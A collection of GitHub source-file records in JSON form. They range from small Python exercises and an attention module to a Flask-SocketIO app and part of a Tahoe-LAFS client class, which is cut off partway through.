+{"seq_id":"73796113655","text":"Testcases=int(input())\nfor tc in range(Testcases):\n    sentence=input()\n    stack=[0]*len(sentence)\n    top=-1\n    for j in range(len(sentence)):\n        if sentence[j]=='(':\n            top+=1\n            stack[top]='('\n        else:\n            if top==-1:\n                print('NO')\n                break\n            else:\n                stack[top]=0\n                top-=1\n    else:\n        if top==-1:\n            print('YES')\n        else:\n            print('NO')","repo_name":"Silentsoul04/my_software_study","sub_path":"Algorithm/baekjoon/9012_괄호.py","file_name":"9012_괄호.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71484956857","text":"import requests\nimport os\n\nkey = os.environ[\"YELP_API_KEY\"]\n\nclass YelpCalls:\n    def get_location_list(self, city: str, term: str):\n        yelp_url = \"https://api.yelp.com/v3/businesses/search\"\n        params = {\n            \"location\": city,\n            \"term\": term,\n            \"sort_by\": \"distance\",\n            \"limit\": 20\n        }\n        headers = {\n            \"Authorization\": f\"Bearer {key}\",\n            \"Content-Type\": \"application/json\",\n        }\n        response = requests.get(yelp_url, params=params, headers=headers)\n        data = response.json()\n        return data\n","repo_name":"burritomancho/Meetup","sub_path":"meetup/queries/yelp.py","file_name":"yelp.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2920385455","text":"\nfrom ecdsa import VerifyingKey as PublicKey, SECP256k1 as curve, SigningKey as PrivateKey\n\n\nbase58_string = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n\ndef base58_encode(hex_string: str) -> str:\n    global base58_string\n    number = int(hex_string, 16)\n    encoded_string = \"\"\n\n    while number > 0:\n        r = number % 58\n        encoded_string = base58_string[r] + encoded_string\n        number //= 58\n\n    return encoded_string\n\n\ndef base58_decode(encoded_string: str) -> str:\n    global base58_string\n    n = len(encoded_string)\n    number = 0\n    for i in range(n-1, -1, -1):\n        number += base58_string.index(encoded_string[i]) * 58 ** (n-i-1)\n    return hex(number)[2: ]\n\n\ndef encode_public_key(public_key: PublicKey) -> str:\n    \"\"\"\n        PublicKey -> Base58 String\n    \"\"\"\n    hex_key = public_key.to_string().hex()\n    return base58_encode(hex_key)\n\n\ndef decode_public_key(public_key_string: str) -> PublicKey:\n    \"\"\"\n        Base58 String -> PublicKey\n    \"\"\"\n    hex_key = bytes.fromhex(base58_decode(public_key_string))\n    return PublicKey.from_string(hex_key, curve=curve)\n\n\ndef encode_private_key(private_key: PrivateKey) -> str:\n    \"\"\"\n        PublicKey -> Base58 String\n    \"\"\"\n    hex_key = private_key.to_string().hex()\n    return base58_encode(hex_key)\n\n\ndef decode_private_key(private_key_string: str) -> PrivateKey:\n    \"\"\"\n        Base58 String -> Private Key\n    \"\"\"\n    hex_key = bytes.fromhex(base58_decode(private_key_string))\n    return PrivateKey.from_string(hex_key, curve=curve)\n\n","repo_name":"RishiNanthan/BlockChain","sub_path":"blockchain/encoding/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"19399384719","text":"import shutil\n\nfrom Report import Report\nimport sys\nimport os\nfrom dotenv import load_dotenv\nimport http.server\nimport socketserver\n\n\nclass Handler(http.server.SimpleHTTPRequestHandler):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, directory=\"../front\", **kwargs)\n\n\nload_dotenv()\n\n\ndef main():\n    RED = '\\033[91m'\n    BLUE = '\\033[94m'\n    END = '\\033[0m'\n\n    # check if tree is installed\n    if not shutil.which(\"tree\"):\n        print(RED + \"Please install tree\" + END)\n        return\n\n    if len(sys.argv) < 2:\n        print(RED + \"Usage: python3 snoo.py <project_name>\" + END)\n        return\n\n    project_name = sys.argv[1]\n    print(BLUE + \"Generating report for project\", project_name + END)\n\n    report = Report(project_name)\n    report.complete_report()\n    PORT = 8004\n\n    try:\n        with socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n            print(BLUE + \"serving at port\" + END, PORT)\n            httpd.serve_forever()\n        # start google chrome\n        os.system(f\"google-chrome http://localhost:{PORT}\")\n    except KeyboardInterrupt:\n        print(BLUE + \"Stopping the server...\" + END)\n        httpd.server_close()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cbr4l0k/snoo.py","sub_path":"src/snoo.py","file_name":"snoo.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39335222201","text":"from pyccl import ccllib as lib\nimport pyccl.constants as const\nfrom pyccl.pyutils import _cosmology_obj, check\nimport numpy as np\n\ncorrelation_methods = {\n    'fftlog':   const.CCL_CORR_FFTLOG,\n    'bessel':   const.CCL_CORR_BESSEL,\n    'legendre': const.CCL_CORR_LGNDRE,\n}\n\ncorrelation_types = {\n    'gg': const.CCL_CORR_GG,\n    'gl': const.CCL_CORR_GL,\n    'l+': const.CCL_CORR_LP,\n    'l-': const.CCL_CORR_LM,\n}\n\ndef correlation(cosmo, ell, C_ell, theta, corr_type='gg', method='fftlog'):\n    \"\"\"\n    Compute the angular correlation function.\n\n    Args:\n        cosmo (:obj:`Cosmology`): A Cosmology object.\n        ell (array_like): Multipoles corresponding to the input angular power spectrum\n        C_ell (array_like): Input angular power spectrum.\n        theta (float or array_like): Angular separation(s) at which to calculate the angular correlation function (in degrees).\n        corr_type (string): Type of correlation function. Choices: 'GG' (galaxy-galaxy), 'GL' (galaxy-shear), 'L+' (shear-shear, xi+), 'L-' (shear-shear, xi-).\n        method (string, optional): Method to compute the correlation function. Choices: 'Bessel' (direct integration over Bessel function), 'FFTLog' (fast integration with FFTLog), 'Legendre' (brute-force sum over Legendre polynomials).\n    Returns:\n        Value(s) of the correlation function at the input angular separation(s).\n    \"\"\"\n    cosmo_in = cosmo\n    cosmo = _cosmology_obj(cosmo)\n    status = 0\n\n    # Convert to lower case\n    corr_type = corr_type.lower()\n    method = method.lower()\n\n    if corr_type not in correlation_types.keys():\n        raise KeyError(\"'%s' is not a valid correlation type.\" % corr_type)\n\n    if method.lower() not in correlation_methods.keys():\n        raise KeyError(\"'%s' is not a valid correlation method.\" % method)\n\n    # Convert scalar input into an array\n    scalar = False\n    if isinstance(theta, float):\n        scalar = True\n        theta = np.array([theta,])\n\n    # Call correlation function\n    wth, status = lib.correlation_vec(cosmo, ell, C_ell, theta,\n                                      correlation_types[corr_type],\n                                      correlation_methods[method],\n                                      len(theta), status)\n    check(status, cosmo_in)\n    if scalar: return wth[0]\n    return wth\n","repo_name":"zdu863/3dcorrelation","sub_path":"pyccl/correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17212342007","text":"# https://peterbloem.nl/blog/transformers\n\n# in pytorch, complete self-attention\n\nimport torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass SelfAttention(nn.Module):\n    def __init__(self, k, heads=4, mask=False):\n        super().__init__()\n        assert k % heads == 0, \"Embedding size must be divisible by number of heads\"\n        self.k, self.heads, self.mask = k, heads, mask\n        # these compute the queries, keys and values for all heads\n        self.tokeys = nn.Linear(k, k, bias=False)\n        self.toqueries = nn.Linear(k, k, bias=False)\n        self.tovalues = nn.Linear(k, k, bias=False)\n\n        # this will be applied after the multi-head self attention operation\n        self.unifyheads = nn.Linear(k, k)\n\n    def forward(self, x):\n        b, t, k = x.size()\n        h = self.heads\n        queries = self.toqueries(x)\n        keys    = self.tokeys(x)\n        values  = self.tovalues(x)\n\n        s = k // h # split size\n        # split each head into h pieces / chunks\n        keys    = keys.view(b, t, h, s)\n        queries = queries.view(b, t, h, s)\n        values  = values.view(b, t, h, s)\n\n        # fold heads into the batch dimension\n        keys    = keys.transpose(1, 2).contiguous().view(b * h, t, s)\n        queries = queries.transpose(1, 2).contiguous().view(b * h, t, s)\n        values  = values.transpose(1, 2).contiguous().view(b * h, t, s)\n\n        # get dot product of queries and keys for each head, and scale\n        dot = torch.bmm(queries, keys.transpose(1, 2))\n        # dot has size (b*h, t, t) containing raw weights\n\n        # scale the dot products by the dimensionality\n        dot = dot / np.sqrt(k)\n\n        # normalize\n        dot = F.softmax(dot, dim=2)\n        # dot now contains row-wise normalized weights\n\n        # apply the self attention to the values\n        out = torch.bmm(dot, values).view(b, h, t, s)\n        # swap h, t back, unify heads\n        out = out.transpose(1, 2).contiguous().view(b, t, s*k)\n        return self.unifyheads(out)\n\n\n# the transformer block\nclass TransformerBlock(nn.Module):\n    def __init__(self, k, heads):\n        super().__init__()\n        self.attention = SelfAttention(k, heads=heads)\n        self.norm1 = nn.LayerNorm(k)  # ???\n        self.norm2 = nn.LayerNorm(k)\n\n        self.ff = nn.Sequential(\n            nn.Linear(k, 4*k),\n            nn.ReLU(),\n            nn.Linear(4*k, k))\n\n    def forward(self, x):\n        attended = self.attention(x)\n        x = self.norm1(attended + x)\n        feedforward = self.ff(x)\n        return self.norm2(feedforward + x)","repo_name":"OnlyBelter/nextLevel-ML","sub_path":"Classical architectures/self_attention.py","file_name":"self_attention.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34550914545","text":"from collections import deque\n\nfrom math import ceil\n\nstring = deque(input().split())\nmain_colors = {\"red\", \"yellow\", \"blue\"}\nsecondary_colors = {\"orange\": {\"red\", \"yellow\"}, \"purple\": {\"red\", 'blue'}, \"green\": {\"yellow\", \"blue\"}}\ncolors_found = []\nchk = lambda word: word in main_colors or word in secondary_colors.keys()\n\nwhile string:\n    if len(string) > 1:\n        first, last = string.popleft(), string.pop()\n        if chk(first+last):\n            colors_found.append(first+last)\n        elif chk(last+first):\n            colors_found.append(last+first)\n        else:\n            strln = len(string)\n            if first[:-1]:\n                string.insert(ceil(strln/2),first[:-1])\n            if last[:-1]:\n                string.insert(ceil(strln/2),last[:-1])\n    else:\n        word = string.pop()\n        if chk(word):\n            colors_found.append(word)\n\nfor color in colors_found:\n    if color in secondary_colors.keys() and secondary_colors[color].intersection(colors_found) != secondary_colors[color]:\n        colors_found.remove(color)\nprint(colors_found)\n\n","repo_name":"b-angelov/SoftUni-exercises","sub_path":"Python_Advanced/tuples_and_sets/paint_colors.py","file_name":"paint_colors.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16186792957","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@文件    :t05.py\n@时间    :2020/09/08 14:08:51\n@作者    :江伟\n@版本    :1.0\n@说明    :\n练习5：计算指定的年月日是这一年的第几天。\n'''\n\n\ndef is_leap_year(year):\n    \"\"\"是否是闰年\"\"\"\n    return year % 4 == 0 and year % 100 != 0 or year % 400 == 0\n\ndef whitch_day(year,month,day):\n    day_of_month_isleap = [31,29,31,30,31,30,31,31,30,31,30,31]\n    day_of_month_notleap= [31,28,31,30,31,30,31,31,30,31,30,31]\n    total = 0\n    if is_leap_year(year):\n        day_of_month = day_of_month_isleap\n    else:\n        day_of_month = day_of_month_notleap\n    for m in range(month - 1):\n          total +=day_of_month[m]  \n    return total +day    \n\ndef main():\n    print(whitch_day(1990,8,28))\n    print(whitch_day(2020,9,8))\n    print(whitch_day(1991,4,19))\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"jiangw0419/python_way","sub_path":"python_day_07/t05.py","file_name":"t05.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41418242529","text":"\"\"\"我们把符合下列属性的数组 A 称作山脉：\nA.length >= 3\n存在 0 < i < A.length - 1 使得A[0] < A[1] < ... A[i-1] < A[i] > A[i+1] > ... > A[A.length - 1]\n给定一个确定为山脉的数组，返回任何满足 A[0] < A[1] < ... A[i-1] < A[i] > A[i+1] > ... > A[A.length - 1] 的 i 的值。\n\"\"\"\nclass Solution:\n    def peakIndexInMountainArray(self, A):\n        \"\"\"\n        :param A: list[int]\n        :return: int\n        \"\"\"\n        r=0\n        for i in range(1,len(A)-1):\n            if A[i-1] < A[i] and A[i] > A[i+1]:\n                r=i\n        return r\ns=Solution()\na=[0,2,1,0]\nb=[0,1,3,4,5,6,5,4,2,1,0]\nprint(s.peakIndexInMountainArray(a))\nprint(s.peakIndexInMountainArray(b))\n\n","repo_name":"nicefuu/leetCode-python3","sub_path":"852.py","file_name":"852.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"5147215872","text":"from flask import *\nfrom flask_socketio import SocketIO, emit, join_room, leave_room, send\nfrom flask_session import Session\nimport uuid\nimport json\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\nSESSION_TYPE = 'filesystem'\napp.config.from_object(__name__)\nSession(app)\n\nusers = {}\n\n\n@app.route(\"/\")\ndef slash():\n    token = session.get(\"token\", False)\n    newtoken = token\n\n    if not token:\n        newtoken = str(uuid.uuid4())\n        session[\"token\"] = newtoken\n        users[newtoken] = {\"x\": 0, \"y\": 0, \"holding\": False}\n\n    return render_template(\"index.html\", data=json.dumps(users), you=newtoken)\n\n\n@socketio.on(\"location\")\ndef msg(obj):\n    token = session.get(\"token\", False)\n    if token:\n        if users.get(token, False):\n            users[token][\"x\"] = obj[\"x\"]\n            users[token][\"y\"] = obj[\"y\"]\n        else:\n            users[token] = {\"x\": obj[\"x\"], \"y\": obj[\"y\"]}\n\n        emit(\n            \"usermove\", {\n                'token': token,\n                'x': obj[\"x\"],\n                'y': obj[\"y\"]\n            },\n            room=\"main\",\n            json=True)\n    else:\n        pass\n\n\n@socketio.on('connect')\ndef connect():\n    token = session.get(\"token\", False)\n\n    if token:\n        join_room(\"main\")\n\n\nif __name__ == \"__main__\":\n    socketio.run(app, debug=True, host=\"0.0.0.0\")\n","repo_name":"NeagDolph/portfolio","sub_path":"work/cursorbuds-master/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"46119170689","text":"\nfrom .vector import Vector\nimport pygame.font\nfrom pygame.rect import Rect\nfrom pygame import K_RETURN, K_SPACE, K_LEFT, K_RIGHT, K_UP, K_DOWN, K_ESCAPE\n\n# fonts\npygame.font.init()\n#DEMIBOLD_BIG = pygame.font.Font('data/LucidaSansDemiBold.ttf', 20)\n#DEMIBOLD_SMALL = pygame.font.Font('data/LucidaSansDemiBold.ttf', 14)\n\n# colors\nWHITE   = (255, 255, 255, 0)\nRED     = (255, 128, 128, 0)\nGREEN   = (128, 255, 128, 0)\nBLUE    = (128, 128, 255, 0)\nGRAY    = (128, 128, 128, 0)\nYELLOW  = (255, 255, 128, 0)\nCYAN    = (128, 255, 255, 0)\nMAGENTA = (255, 128, 255, 0)\n\n\ndef read_settings(filename):\n    '''reads lines from settings file into a dictionary.'''\n    result = {}\n    for line in open(filename):\n        if '=' in line:\n            name, value = line.split('=')\n            result[name.strip()] = eval(value.strip())\n    return result\n\n\n","repo_name":"pham-andrew/Colors","sub_path":"tilegamelib/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20635052189","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nclass TemplateMarching:\n\n    def __init__(self,p_temp,p_img) -> None:\n        self.temp = p_temp;\n        self.img = p_img;\n        pass\n\n    def read_show (self):\n         self.image=cv.imread(self.img)\n         self.image = cv.cvtColor(self.image,cv.COLOR_BGR2GRAY)\n         self.tempalate = cv.imread(self.temp)\n         self.tempalate = cv.cvtColor(self.tempalate,cv.COLOR_BGR2GRAY)\n\n         plt.imshow(self.image)\n         plt.show()\n\n         plt.imshow(self.tempalate)\n         plt.show()\n    def maching(self,method):\n        threshold = 0.8\n        method = eval(method)\n        res =cv.matchTemplate(self.image, self.tempalate,method)\n        loc = np.where(res >= threshold)\n        w, h = self.tempalate.shape[::-1]\n        for pt in zip(*loc[::-1]):\n            cv.rectangle(self.image, pt, (pt[0] + w, pt[1] + h), (0, 255, 0), 1)\n        # if (res > threshold):\n        #     cv.rectangle(self.image, top_left, bottom_right, (0,255,0),6)\n        plt.imshow(self.image)\n        plt.show()\nif __name__ == '__main__':    \n    tamplate_maching = TemplateMarching(\"./tamplate.jpg\",\"./img.jpg\")\n    tamplate_maching.read_show()\n    methods =[\"cv.TM_CCOEFF\" ,\n     \"cv.TM_CCOEFF_NORMED\",\n     \"cv.TM_CCORR\" ,\n     \"cv.TM_CCORR_NORMED\" ,\n     \"cv.TM_SQDIFF\" ,\n     \"cv.TM_SQDIFF_NORMED\"]\n    tamplate_maching.maching(methods[5])\n\n","repo_name":"mbr1376/Face-Recognition-","sub_path":"TemplateMaching.py","file_name":"TemplateMaching.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12875636902","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pymorphy2\r\nfrom many_stop_words import get_stop_words as stw\r\nimport openpyxl as op\r\nliness=[]\r\nparsewords=[]\r\nwordslist=[]\r\nline=''\r\ni=0\r\npunct=['.',',','«','»','\"','!','?','—',':','(',')'] # знаки пунктуации\r\nline1=''\r\nprint('Укажите путь')\r\npath=input()\r\nwith open(path, 'r') as text:\r\n    lines=text.readlines()\r\nfor a in lines:\r\n    if a!='\\n':\r\n        line=line+a[:-1]+' ' # концы строк мне не нужны\r\n#print(line)\r\nline1=line\r\nfor i in range(len(line)): # цикл, который убирает ссылки из википедии в формате [х]\r\n    if line[i]=='[':\r\n        deletestr=''\r\n        while line[i]!=']':\r\n            deletestr=deletestr+line[i]\r\n            i=i+1\r\n        deletestr=deletestr+']'\r\n        line1=line1.replace(deletestr,'')\r\nfor p in punct:\r\n    line1=line1.replace(p,'')\r\nline1=line1.replace(' '+' ',' ')    # убираю двойные пробелы, если есть\r\nprint(line1)\r\nblah=pymorphy2.MorphAnalyzer()\r\ntexxt=line1.split(' ')\r\nstwlist=list(stw('ru'))\r\nfor word in texxt:\r\n    parsewords.append(blah.parse(word)[0].normal_form)\r\nfor pp in parsewords:\r\n    flag=0\r\n    if len(wordslist)!=0:\r\n        for ww in wordslist:\r\n            if pp==ww['word']:\r\n                ww['count']=ww['count']+1\r\n                flag=1        \r\n    if flag==0 and pp not in stwlist:\r\n        worddict=dict()\r\n        worddict['word']=pp\r\n        worddict['count']=1\r\n        wordslist.append(worddict)  \r\n        \r\nwordslist.sort(key=lambda x: x['count'], reverse=True)         \r\nprint(wordslist)\r\nwb = op.Workbook() # создаю книгу\r\nws = wb.active    \r\nfor i in range(len(wordslist)):\r\n    if wordslist[i]['count']>=2: # слова, встречающиеся больше 1 раза\r\n        ws[f'A{i+1}']=wordslist[i]['word']\r\n        ws[f'B{i+1}']=wordslist[i]['count']\r\nwb.save('Exportkeywords.xlsx') # сохраняю книгу\r\n","repo_name":"BiriBiri83/KeyWords","sub_path":"Анализ текста.py","file_name":"Анализ текста.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15223560356","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport logging as log\nimport os\nimport re\nfrom pathlib import Path\nfrom typing import Dict, List, Optional\n\nimport treq\nimport yaml\nfrom atomicwrites import atomic_write\nfrom twisted.internet.defer import inlineCallbacks\nfrom twisted.internet.error import ConnectError\n\nfrom gridsync import APP_NAME\nfrom gridsync import settings as global_settings\nfrom gridsync.config import Config\nfrom gridsync.crypto import trunchash\nfrom gridsync.errors import TahoeCommandError, TahoeWebError\nfrom gridsync.magic_folder import MagicFolder\nfrom gridsync.monitor import Monitor\nfrom gridsync.msg import critical\nfrom gridsync.news import NewscapChecker\nfrom gridsync.rootcap import RootcapManager\nfrom gridsync.streamedlogs import StreamedLogs\nfrom gridsync.supervisor import Supervisor\nfrom gridsync.system import SubprocessProtocol, which\nfrom gridsync.types import TwistedDeferred\nfrom gridsync.util import Poller\nfrom gridsync.zkapauthorizer import PLUGIN_NAME as ZKAPAUTHZ_PLUGIN_NAME\nfrom gridsync.zkapauthorizer import ZKAPAuthorizer\n\n\ndef is_valid_furl(furl):\n    return re.match(r\"^pb://[a-z2-7]+@[a-zA-Z0-9\\.:,-]+:\\d+/[a-z2-7]+$\", furl)\n\n\ndef get_nodedirs(basedir):\n    nodedirs = []\n    try:\n        for filename in os.listdir(basedir):\n            filepath = os.path.join(basedir, filename)\n            confpath = os.path.join(filepath, \"tahoe.cfg\")\n            if os.path.isdir(filepath) and os.path.isfile(confpath):\n                log.debug(\"Found nodedir: %s\", filepath)\n                nodedirs.append(filepath)\n    except OSError:\n        pass\n    return sorted(nodedirs)\n\n\nclass Tahoe:\n\n    \"\"\"\n    :ivar zkap_auth_required: ``True`` if the node is configured to use\n        ZKAPAuthorizer and spend ZKAPs for storage operations, ``False``\n        otherwise.\n\n    :ivar nodeurl: ``None`` until the Tahoe-LAFS child process is running,\n        then a string giving the root of the node's HTTP API.\n    \"\"\"\n\n    STOPPED = 0\n    STARTING = 1\n    STARTED = 2\n    STOPPING = 3\n\n    def __init__(self, nodedir=None, executable=None, reactor=None):\n        if reactor is None:\n            from twisted.internet import reactor\n        self.executable = executable\n        if nodedir:\n            self.nodedir = os.path.expanduser(nodedir)\n        else:\n            self.nodedir = os.path.join(os.path.expanduser(\"~\"), \".tahoe\")\n        self.servers_yaml_path = os.path.join(\n            self.nodedir, \"private\", \"servers.yaml\"\n        )\n        self.config = Config(os.path.join(self.nodedir, \"tahoe.cfg\"))\n        self.pidfile = os.path.join(self.nodedir, f\"{APP_NAME}-tahoe.pid\")\n        self.nodeurl = None\n        self.shares_happy = 0\n        self.name = os.path.basename(self.nodedir)\n        self.api_token = None\n        self.use_tor = False\n        self.monitor = Monitor(self)\n        logs_maxlen = None\n        debug_settings = global_settings.get(\"debug\")\n        if debug_settings:\n            log_maxlen = debug_settings.get(\"log_maxlen\")\n            if log_maxlen is not None:\n                logs_maxlen = int(log_maxlen)\n        self.streamedlogs = StreamedLogs(reactor, logs_maxlen)\n        self.state = Tahoe.STOPPED\n        self.newscap = \"\"\n        self.newscap_checker = NewscapChecker(self)\n        self.settings: dict = {}\n        self.recovery_key_exported = False\n\n        self.zkapauthorizer = ZKAPAuthorizer(self)\n        self.zkap_auth_required: bool = False\n\n        self.storage_furl: str = \"\"\n        self.rootcap_manager = RootcapManager(self)\n        self.magic_folder = MagicFolder(self, logs_maxlen=logs_maxlen)\n\n        self.monitor.zkaps_redeemed.connect(self.zkapauthorizer.backup_zkaps)\n        self.magic_folder.monitor.files_updated.connect(\n            lambda *args: self.zkapauthorizer.update_zkap_checkpoint()\n        )\n        self.supervisor = Supervisor(pidfile=Path(self.pidfile))\n\n        # TODO: Replace with \"readiness\" API?\n        # https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2844\n        @inlineCallbacks\n        def poll():\n            ready = yield self.is_ready()\n            if ready:\n                log.debug('Connected to \"%s\"', self.name)\n            else:\n                log.debug('Connecting to \"%s\"...', self.name)\n            return ready\n\n        self._ready_poller = Poller(reactor, poll, 0.2)\n\n    def load_newscap(self):\n        news_settings = global_settings.get(\"news:{}\".format(self.name))\n        if news_settings:\n            newscap = news_settings.get(\"newscap\")\n            if newscap:\n                self.newscap = newscap\n                return\n        try:\n            self.newscap = Path(self.nodedir, \"private\", \"newscap\").read_text(\n                encoding=\"utf-8\"\n            )\n        except OSError:\n            pass\n\n    def config_set(self, section, option, value):\n        self.config.set(section, option, value)\n\n    def config_get(self, section, option):\n        return self.config.get(section, option)\n\n    def save_settings(self, settings: dict) -> None:\n        with atomic_write(\n            str(Path(self.nodedir, \"private\", \"settings.json\")), overwrite=True\n        ) as f:\n            f.write(json.dumps(settings))\n\n        rootcap = settings.get(\"rootcap\")\n        if rootcap:\n            self.rootcap_manager.set_rootcap(rootcap, overwrite=True)\n\n        newscap = settings.get(\"newscap\")\n        if newscap:\n            with atomic_write(\n                str(Path(self.nodedir, \"private\", \"newscap\")), overwrite=True\n            ) as f:\n                f.write(newscap)\n\n        convergence = settings.get(\"convergence\")\n        if convergence:\n            with atomic_write(\n                str(Path(self.nodedir, \"private\", \"convergence\")),\n                overwrite=True,\n            ) as f:\n                f.write(convergence)\n\n    def load_settings(self):\n        try:\n            with open(\n                Path(self.nodedir, \"private\", \"settings.json\"),\n                encoding=\"utf-8\",\n            ) as f:\n                settings = json.loads(f.read())\n        except FileNotFoundError:\n            settings = {}\n        settings[\"nickname\"] = self.name\n        settings[\"shares-needed\"] = self.config_get(\"client\", \"shares.needed\")\n        settings[\"shares-happy\"] = self.config_get(\"client\", \"shares.happy\")\n        settings[\"shares-total\"] = self.config_get(\"client\", \"shares.total\")\n        introducer = self.config_get(\"client\", \"introducer.furl\")\n        if introducer:\n            settings[\"introducer\"] = introducer\n        storage_servers = self.get_storage_servers()\n        if storage_servers:\n            settings[\"storage\"] = storage_servers\n        icon_path = os.path.join(self.nodedir, \"icon\")\n        icon_url_path = icon_path + \".url\"\n        if os.path.exists(icon_url_path):\n            with open(icon_url_path, encoding=\"utf-8\") as f:\n                settings[\"icon_url\"] = f.read().strip()\n        if Path(self.nodedir, \"private\", \"recovery_key_exported\").exists():\n            self.recovery_key_exported = True\n        self.load_newscap()\n        if self.newscap:\n            settings[\"newscap\"] = self.newscap\n        if not settings.get(\"rootcap\"):\n            settings[\"rootcap\"] = self.get_rootcap()\n        zkap_unit_name = settings.get(\"zkap_unit_name\", \"\")\n        if zkap_unit_name:\n            self.zkapauthorizer.zkap_unit_name = zkap_unit_name\n        self.zkapauthorizer.zkap_unit_multiplier = settings.get(\n            \"zkap_unit_multiplier\", 1\n        )\n        self.zkapauthorizer.zkap_payment_url_root = settings.get(\n            \"zkap_payment_url_root\", \"\"\n        )\n        # TODO: Verify integrity? Support 'icon_base64'?\n        self.settings = settings\n\n    def get_settings(self, include_secrets=False):\n        if not self.settings:\n            self.load_settings()\n        settings = dict(self.settings)\n        if include_secrets:\n            settings[\"rootcap\"] = self.get_rootcap()\n            settings[\"convergence\"] = (\n                Path(self.nodedir, \"private\", \"convergence\")\n                .read_text(encoding=\"utf-8\")\n                .strip()\n            )\n        else:\n            try:\n                del settings[\"rootcap\"]\n            except KeyError:\n                pass\n            try:\n                del settings[\"convergence\"]\n            except KeyError:\n                pass\n        return settings\n\n    def export(self, dest, include_secrets=False):\n        log.debug(\"Exporting settings to '%s'...\", dest)\n        settings = self.get_settings(include_secrets)\n        if self.use_tor:\n            settings[\"hide-ip\"] = True\n        with atomic_write(dest, mode=\"w\", overwrite=True) as f:\n            f.write(json.dumps(settings))\n        log.debug(\"Exported settings to '%s'\", dest)\n\n    def _read_servers_yaml(self):\n        try:\n            with open(self.servers_yaml_path, encoding=\"utf-8\") as f:\n                return yaml.safe_load(f)\n        except OSError:\n            return {}\n\n    def get_storage_servers(self):\n        yaml_data = self._read_servers_yaml()\n        if not yaml_data:\n            return {}\n        storage = yaml_data.get(\"storage\")\n        if not storage or not isinstance(storage, dict):\n            return {}\n        results = {}\n        for server, server_data in storage.items():\n            ann = server_data.get(\"ann\")\n            if not ann:\n                continue\n            results[server] = {\n                \"anonymous-storage-FURL\": ann.get(\"anonymous-storage-FURL\")\n            }\n            nickname = ann.get(\"nickname\")\n            if nickname:\n                results[server][\"nickname\"] = nickname\n            storage_options = ann.get(\"storage-options\")\n            if storage_options:\n                results[server][\"storage-options\"] = storage_options\n        return results\n\n    def _configure_storage_plugins(self, storage_options: List[dict]) -> None:\n        for options in storage_options:\n            if not isinstance(options, dict):\n                log.warning(\n                    \"Skipping unknown storage plugin option: %s\", options\n                )\n                continue\n            config = storage_options_to_config(options)\n            if config is None:\n                log.warning(\n                    \"Skipping unknown storage plugin option: %s\", options\n                )\n            else:\n                self.config.save(config)\n\n    def add_storage_server(\n        self, server_id, furl, nickname=None, storage_options=None\n    ):\n        log.debug(\"Adding storage server: %s...\", server_id)\n        yaml_data = self._read_servers_yaml()\n        if not yaml_data or not yaml_data.get(\"storage\"):\n            yaml_data[\"storage\"] = {}\n        yaml_data[\"storage\"][server_id] = {\n            \"ann\": {\"anonymous-storage-FURL\": furl}\n        }\n        if nickname:\n            yaml_data[\"storage\"][server_id][\"ann\"][\"nickname\"] = nickname\n        if storage_options:\n            yaml_data[\"storage\"][server_id][\"ann\"][\n                \"storage-options\"\n            ] = storage_options\n            self._configure_storage_plugins(storage_options)\n        with atomic_write(\n            self.servers_yaml_path, mode=\"w\", overwrite=True\n        ) as f:\n            f.write(yaml.safe_dump(yaml_data, default_flow_style=False))\n        log.debug(\"Added storage server: %s\", server_id)\n\n    def add_storage_servers(self, storage_servers):\n        for server_id, data in storage_servers.items():\n            nickname = data.get(\"nickname\")\n            storage_options = data.get(\"storage-options\")\n            furl = data.get(\"anonymous-storage-FURL\")\n            if furl:\n                self.add_storage_server(\n                    server_id, furl, nickname, storage_options\n                )\n            else:\n                log.warning(\"No storage fURL provided for %s!\", server_id)\n\n    def line_received(self, line):\n        # TODO: Connect to Core via Qt signals/slots?\n        log.debug(\"[%s] >>> %s\", self.name, line)\n\n    